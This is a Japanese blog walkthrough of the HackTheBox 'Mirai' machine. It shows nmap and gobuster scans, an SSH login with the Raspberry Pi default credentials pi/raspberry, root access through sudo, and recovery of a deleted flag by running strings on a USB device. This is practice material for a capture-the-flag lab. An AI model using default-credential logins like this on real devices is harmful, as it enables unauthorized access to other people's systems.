HackTheBox Mirai Walkthrough
お久しぶりの投稿。デスペ、ネスペの受験でなかなかブログを書く暇もなく、
合間でちまちまHackTheBoxをやってしばらく寝かせてしまった...反省。
今日はMiraiのWalkthroughを書く。意外と嵌りそうな所が多かったが、
後々振り返れば単純な作りになっていた。改めて単純なところも見直す必要がありそう。
https://app.hackthebox.eu/machines/Mirai
目次
Recon
nmap
Nmap をかける。今回はTCP22番、53番、80番が開いている。
そして今回はLinuxマシンらしい。
┌──(kali㉿kali)-[~] └─$ sudo nmap -A 10.129.221.52 [sudo] kali のパスワード: Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-23 19:55 JST Nmap scan report for 10.129.221.52 Host is up (0.18s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0) | ssh-hostkey: | 1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA) | 2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA) | 256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA) |_ 256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519) 53/tcp open domain dnsmasq 2.76 | dns-nsid: |_ bind.version: dnsmasq-2.76 80/tcp open http lighttpd 1.4.35 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.92%E=4%D=3/23%OT=22%CT=1%CU=40795%PV=Y%DS=2%DC=T%G=Y%TM=623AE0D OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)OPS OS:(O1=M505ST11NW6%O2=M505ST11NW6%O3=M505NNT11NW6%O4=M505ST11NW6%O5=M505ST1 OS:1NW6%O6=M505ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN OS:(R=Y%DF=Y%T=40%W=7210%O=M505NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N% OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD OS:=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 143/tcp) HOP RTT ADDRESS 1 182.41 ms 10.10.14.1 2 182.41 ms 10.129.221.52 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 71.84 seconds
SSHの調査
試しに無理だと分かってrootユーザでログインしてみる。そして案の定失敗する。
どうやらパスワードログインができるらしい。クラックすればいいのかな?
┌──(kali㉿kali)-[~] └─$ ssh root@10.129.221.52 The authenticity of host '10.129.221.52 (10.129.221.52)' can't be established. ED25519 key fingerprint is SHA256:TL7joF/Kz3rDLVFgQ1qkyXTnVQBTYrV44Y2oXyjOa60. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.129.221.52' (ED25519) to the list of known hosts. root@10.129.221.52's password: Permission denied, please try again. root@10.129.221.52's password: Permission denied, please try again. root@10.129.221.52's password:
HTTPの調査
ブラウザで開いたけれどなんてこったい、画面が真っ白だ...
面白くないので、gobusterをかける
┌──(kali㉿kali)-[~] └─$ gobuster dir -u http://10.129.221.52/ -w /usr/share/dirb/wordlists/common.txt -e -k =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.129.221.52/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/03/23 20:15:48 Starting gobuster in directory enumeration mode =============================================================== http://10.129.221.52/admin (Status: 301) [Size: 0] [--> http://10.129.221.52/admin/] http://10.129.221.52/swfobject.js (Status: 200) [Size: 61] =============================================================== 2022/03/23 20:17:10 Finished ===============================================================
/admin
が面白そうなので、アクセスすると、Pi-holeなる管理ページが出てきた
バージョンはv3.1.4らしい。このアイコン、Raspberry Pieのアイコンだ
ログインフォームがある。入れれば何か分かるんだろうか。
スクロールするとパスワードリセットの方法もあるけど、これはまだ出番が先な気がする。
一応、リモートコード実行のPoCはあった。しかし、Adminのパスワードが必要なのでまだ使えなさそう。
DNSの調査
dnsmasqというソフトウェアを使っている。
Exploit−DBを見たがDoS系のPoCばかりで、なんだか違う気がするので放置。
Raspberry-Piの調査
うちにラズパイはないし使ったこともない。
一応調べてみると、どうもデフォルトユーザがいることが判明。
What's the Default Username and Password for Raspberry Pi Raspbian?
ユーザ名はpi
、パスワードは raspberry
で、買ったらこれを速攻変えろと言われている。
user.txt
まさか、ね...と思いながらpiユーザでSSHしてみる。
┌──(kali㉿kali)-[~] └─$ ssh pi@10.129.221.54 The authenticity of host '10.129.221.54 (10.129.221.54)' can't be established. ED25519 key fingerprint is SHA256:TL7joF/Kz3rDLVFgQ1qkyXTnVQBTYrV44Y2oXyjOa60. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:2: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.129.221.54' (ED25519) to the list of known hosts. pi@10.129.221.54's password: The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Aug 27 14:47:50 2017 from localhost SSH is enabled and the default password for the 'pi' user has not been changed. This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password. SSH is enabled and the default password for the 'pi' user has not been changed. This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password. pi@raspberrypi:~ $
なんと、入れてしまった...
落ち着いてユーザのホームディレクトリを漁ると、フラグを発見した
pi@raspberrypi:~ $ pwd /home/pi pi@raspberrypi:~ $ ls -ltr total 1440 drwxr-xr-x 5 pi pi 99 Dec 13 2016 Documents drwxr-xr-x 2 pi pi 1629 Dec 13 2016 python_games drwxr-xr-x 2 pi pi 4096 Aug 13 2017 Videos drwxr-xr-x 2 pi pi 4096 Aug 13 2017 Templates drwxr-xr-x 2 pi pi 4096 Aug 13 2017 Public drwxr-xr-x 2 pi pi 4096 Aug 13 2017 Pictures drwxr-xr-x 2 pi pi 4096 Aug 13 2017 Music drwxr-xr-x 3 pi pi 4096 Aug 13 2017 oldconffiles -rw-r--r-- 1 pi pi 1441764 Aug 13 2017 background.jpg drwxr-xr-x 2 pi pi 4096 Aug 13 2017 Downloads drwxr-xr-x 3 pi pi 4096 Aug 13 2017 Desktop pi@raspberrypi:~ $ cd Desktop pi@raspberrypi:~/Desktop $ ls -ltr total 8 drwxr-xr-x 4 pi pi 4096 Aug 13 2017 Plex -rw-r--r-- 1 pi pi 32 Aug 13 2017 user.txt pi@raspberrypi:~/Desktop $ cat user.txt
そしてダメ元でsudo su -
したところできてしまった。
root.txtがあったので見てみたらまさかの展開が...
pi@raspberrypi:/home $ sudo su - SSH is enabled and the default password for the 'pi' user has not been changed. This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password. SSH is enabled and the default password for the 'pi' user has not been changed. This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password. root@raspberrypi:~# root@raspberrypi:~# ls root.txt root@raspberrypi:~# cat root.txt I lost my original root.txt! I think I may have a backup on my USB stick... root@raspberrypi:~#
え、USBメモリにしまった?どういうこと?
USBメモリを探す
まともにUSBメモリにバックアップがある、を信じてみることにする。
ラズパイはディスクの代わりにSDカード積んでたりするし、もしかするとUSB刺さってないかな...
pi@raspberrypi:/home $ df Filesystem 1K-blocks Used Available Use% Mounted on aufs 8856504 2833452 5550120 34% / tmpfs 102396 4880 97516 5% /run /dev/sda1 1354528 1354528 0 100% /lib/live/mount/persistence/sda1 /dev/loop0 1267456 1267456 0 100% /lib/live/mount/rootfs/filesystem.squashfs tmpfs 255988 0 255988 0% /lib/live/mount/overlay /dev/sda2 8856504 2833452 5550120 34% /lib/live/mount/persistence/sda2 devtmpfs 10240 0 10240 0% /dev tmpfs 255988 8 255980 1% /dev/shm tmpfs 5120 4 5116 1% /run/lock tmpfs 255988 0 255988 0% /sys/fs/cgroup tmpfs 255988 8 255980 1% /tmp /dev/sdb 8887 93 8078 2% /media/usbstick tmpfs 51200 0 51200 0% /run/user/999 tmpfs 51200 0 51200 0% /run/user/1000
確かに/media/usbstick
がいる。怪しい。
pi@raspberrypi:/home $ cd /media/usbstick pi@raspberrypi:/media/usbstick $ ls -ltr total 13 drwx------ 2 root root 12288 Aug 14 2017 lost+found -rw-r--r-- 1 root root 129 Aug 14 2017 damnit.txt pi@raspberrypi:/media/usbstick $ cat damnit.txt Damnit! Sorry man I accidentally deleted your files off the USB stick. Do you know if there is any way to get them back? -James
その中にあったdamnit.txtを見たら中身消しちゃったてへぺろ、復旧してくんろ、というメッセージが
root@raspberrypi:/media/usbstick/lost+found# ls -la total 13 drwx------ 2 root root 12288 Aug 14 2017 . drwxr-xr-x 3 root root 1024 Aug 14 2017 ..
lost+foundも何もなかった。どうにかしてこのUSBを復旧させるしかないらしい。
フォレンジックになってきたので、ダメ元でマウント元ディスクにstrings
をかけた。
root@raspberrypi:/media/usbstick# strings /dev/sdb f$;bf$;b >r & /media/usbstick lost+found root.txt damnit.txt >r & >r & /media/usbstick lost+found root.txt damnit.txt >r & /media/usbstick 2]8^ lost+found root.txt damnit.txt >r & 3d************************************* Damnit! Sorry man I accidentally deleted your files off the USB stick. Do you know if there is any way to get them back? -James
21行目にroot.txtに書かれていたと思われる内容が。これだったか。
結局、大したPoCを使うこともなく、で終わった。
意外とデフォルトパスワードとか、簡単なところから崩していくの大事と思うとともに、
初期設定中に急いで塞がないとダメそうということがよく分かった。